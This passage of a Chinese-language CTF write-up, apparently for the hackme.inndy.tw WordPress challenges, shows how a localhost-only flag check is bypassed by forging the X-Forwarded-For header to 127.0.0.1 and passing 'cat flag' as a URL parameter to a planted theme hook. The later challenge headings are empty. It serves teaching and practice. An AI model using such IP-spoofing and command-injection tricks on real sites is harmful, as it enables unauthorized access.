die('</head><body><h1>Sorry, Only admin from localhost can get flag'); } } } add_action('wp_head', 'print_f14g'); //wp_head控制<head>...</head>之的標籤內容 //add_action()創建一個action hook,執行`wp_head()`時hook到`print_f14g()` ``` ![](https://i.imgur.com/0NJtRLZ.png =300x) - 嘗試訪問`wp.hackme.inndy.tw?passw0rd=cat%20flag` ![](https://i.imgur.com/AKTdpJd.png =300x) - 只有locallhost才能訪問,跟第21行吻合 - 去src code找`wp_get_user_ip()` ![](https://i.imgur.com/PinOMlj.png) ```php= function wp_get_user_ip() { $ip = $_SERVER['REMOTE_ADDR']; //很難被偽造 if (!empty($_SERVER['HTTP_CLIENT_IP'])) { //不可控 $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } //可以用http_x_forwarded_for來指定 return $ip; } ``` :::success 可以得知`$ip`可由三個server訊息決定 1. `$_SERVER['REMOTE_ADDR']` - 此訊息由nginx直接pass給php,代表當前與nginx溝通的client ip,因此**無法經由header偽造** - 如果client是經由proxy跟server溝通,這個值就會是proxy的ip 2. `$_SERVER['HTTP_CLIENT_IP']` - 可以經由修改http header中的`client-ip`來偽造ip 3. `$_SEVER['HTTP_X_FORWARDED_FOR']` - 可以經由修改http header中的`X-Forwarded-For`來偽造ip ::: - 利用firefox的header editor修改http header的`x-forwarded-for`為`127.0.0.1` ![](https://i.imgur.com/u7JePwK.png =300x) - 接著再次訪問`../?passw0rd=cat%20flag`,就不會跳localhost才能訪問,而是會跳回原本的網頁 ![](https://i.imgur.com/HEThmln.png =300x) - 最後F12看src code就可以找到flag1 ![](https://i.imgur.com/hwHZ6G6.png) ## wordpress 2 - 上個flag提示,`try to find backboor in my theme` - `themes`裡面也只有兩個檔案,其中`index.php`依然沒東西 ![](https://i.imgur.com/yUhMsmq.png =400x) ## webshell ## command-executor ## xssme ## xssrf leak ## xssrf redis